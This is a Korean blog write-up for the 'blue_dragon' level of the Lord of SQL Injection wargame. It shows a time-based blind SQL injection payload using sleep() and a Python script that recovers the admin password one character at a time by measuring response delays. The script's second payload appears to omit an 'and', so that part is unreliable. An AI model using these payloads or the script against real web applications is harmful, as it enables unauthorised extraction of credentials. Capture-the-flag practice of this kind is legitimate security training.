[Lord of SQL Injection] 27번 blue_dragon

2021. 1. 23. 04:35·Write-Up/LOS (lord of sql injection)
반응형

time based sql injection이다. ' \을 필터링하는데 time based sql injection을 모르고 접근하다가 삽질을 좀 했다.

 

쿼리를 먼저 넣고 실행시키고 그 후에 필터링되는것이다.

sleep을 이용하겠다.

?id=1&pw=' or id='admin' and if(length(pw)>0, sleep(1), 0)%23

 

만약 pw길이가 0이상이면 1초대기하고 실행시키고 아니면 바로 거짓값을 넣어버린다.

로딩화면을 보고있으면 대기하는지 바로 실패하는지 볼 수 있다,

 

import requests
import time

cookies= {'PHPSESSID':'your cooke'}
url = 'https://los.rubiya.kr/chall/blue_dragon_23f2e3c81dca66e496c7de2d63b82984.php?'
pw = ''


# pw길이 구하기
for i in range(0,99):
    start = time.time()
    payload = "id=a&pw=' or id='admin' and if(length(pw) = " + str(i) + ", sleep(1), 0)%23"
    new_url = url+payload
    res = requests.get(new_url, cookies=cookies)
    res.raise_for_status()
    if (time.time() - start) > 1:
        length = i
        print("length: "+str(length))
        break    

# pw 구하기
for i in range(1,length+1):
    for j in range(48,123):
        start = time.time()
        payload = "id=a&pw=' or id='admin' if(substr(pw, " + str(i) + ", 1) = " + hex(j) + ", sleep(3), 0)%23"
        new_url = url+payload
        res = requests.get(new_url, cookies=cookies)
        res.raise_for_status()
        if (time.time() - start) > 3:
            pw += chr(j)
            print("pw: "+pw)
            break
        
print ("pw : "+pw)

 

반응형

'Write-Up > LOS (lord of sql injection)' 카테고리의 다른 글

[Lord of SQL Injection] 28번 frankenstein  (0) 2021.01.23
[Lord of SQL Injection] 26번 red_dragon  (0) 2021.01.23
[Lord of SQL Injection] 25번 green_dragon  (0) 2021.01.23
[Lord of SQL Injection] 24번 evil_wizard  (0) 2021.01.23
[Lord of SQL Injection] 23번 hell_fire  (0) 2021.01.23
'Write-Up/LOS (lord of sql injection)' 카테고리의 다른 글
  • [Lord of SQL Injection] 28번 frankenstein
  • [Lord of SQL Injection] 26번 red_dragon
  • [Lord of SQL Injection] 25번 green_dragon
  • [Lord of SQL Injection] 24번 evil_wizard
Penguin Dev
Penguin Dev
What does the Penguin say?
    글쓰기 관리
  • Penguin Dev
    Pengha!
    Penguin Dev
  • 전체
    오늘
    어제
    • 분류 전체보기 (152)
      • Java & Spring (5)
      • System Hacking (4)
      • Algorithm (8)
        • Sorting algorithm (3)
      • Python (6)
      • Web (2)
        • Web Hacking & Security (2)
      • Write-Up (108)
        • pwnable.kr (17)
        • HackCTF (16)
        • 해커스쿨 FTZ (21)
        • LOB(lord of bufferoverflow) (19)
        • LOS (lord of sql injection) (28)
        • XSS-game (6)
        • Webhacking.kr (1)
      • SUA (19)
        • 오픈소스 보안 (19)
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    computeifpresent()
    ReentrantLock
    lord of bufferoverflow
    thread-safe
    ConcurrentHashMap
    enumerate #list comprehension
    concurrenthashmap vs hashmap
    SpringBoot
    Java
    쿠폰발급
    computeifabsent
    hashmap vs concurrenthashmap
    코드트리
    Lock
    AQS
    nop sled
    spring
    동시성처리
    동시성
    spring boot
    DB정리
    reentrantlock실습
    computeifpresent
    LOB
    putval()
    tabat
    코드트리조별과제
    CountDownLatch
    sqlinjection
    computeifabsent()
  • 최근 댓글

  • 반응형
  • hELLO· Designed By정상우.v4.10.3
Penguin Dev
[Lord of SQL Injection] 27번 blue_dragon
상단으로

티스토리툴바

단축키

내 블로그

내 블로그 - 관리자 홈 전환
Q
Q
새 글 쓰기
W
W

블로그 게시글

글 수정 (권한 있는 경우)
E
E
댓글 영역으로 이동
C
C

모든 영역

이 페이지의 URL 복사
S
S
맨 위로 이동
T
T
티스토리 홈 이동
H
H
단축키 안내
Shift + /
⇧ + /

* 단축키는 한글/영문 대소문자로 이용 가능하며, 티스토리 기본 도메인에서만 동작합니다.